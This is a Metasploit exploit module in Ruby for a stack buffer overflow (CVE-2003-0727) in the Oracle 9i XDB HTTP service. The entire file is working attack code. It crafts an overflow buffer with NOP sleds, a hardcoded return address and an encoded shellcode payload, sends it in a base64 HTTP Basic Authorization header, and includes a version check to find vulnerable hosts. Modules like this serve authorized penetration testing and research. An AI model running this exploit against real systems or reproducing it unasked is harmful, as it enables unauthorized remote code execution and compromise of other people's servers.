Oracle 9i XDB HTTP PASS Overflow (Win32)



##

# $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the authorization
                code of the Oracle 9i HTTP XDB service. David Litchfield,
                has illustrated multiple vulnerabilities in the Oracle
                9i XML Database (XDB), during a seminar on "Variations
                in exploit methods between Linux and Windows" presented
                at the Blackhat conference.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE', '2003-0727'],
                    ['OSVDB', '2449'],
                    ['BID', '8375'],
                    ['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00",
                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 18 2003'))

        register_options(
            [
                Opt::RPORT(8080)
            ], self.class )
    end

    def check
        connect
        sock.put("GET / HTTP/1.0\r\n\r\n")
        resp = sock.get_once
        disconnect

        if (resp =~ /9.2.0.1.0/)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        sploit =  rand_text_english(4, payload_badchars) + ":"
        sploit << rand_text_english(442, payload_badchars)
        sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
        sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded

        req  = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"

        res  = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req

        print_status("Trying target %s..." % target.name)

        sock.put(res)

        handler
        disconnect
    end

end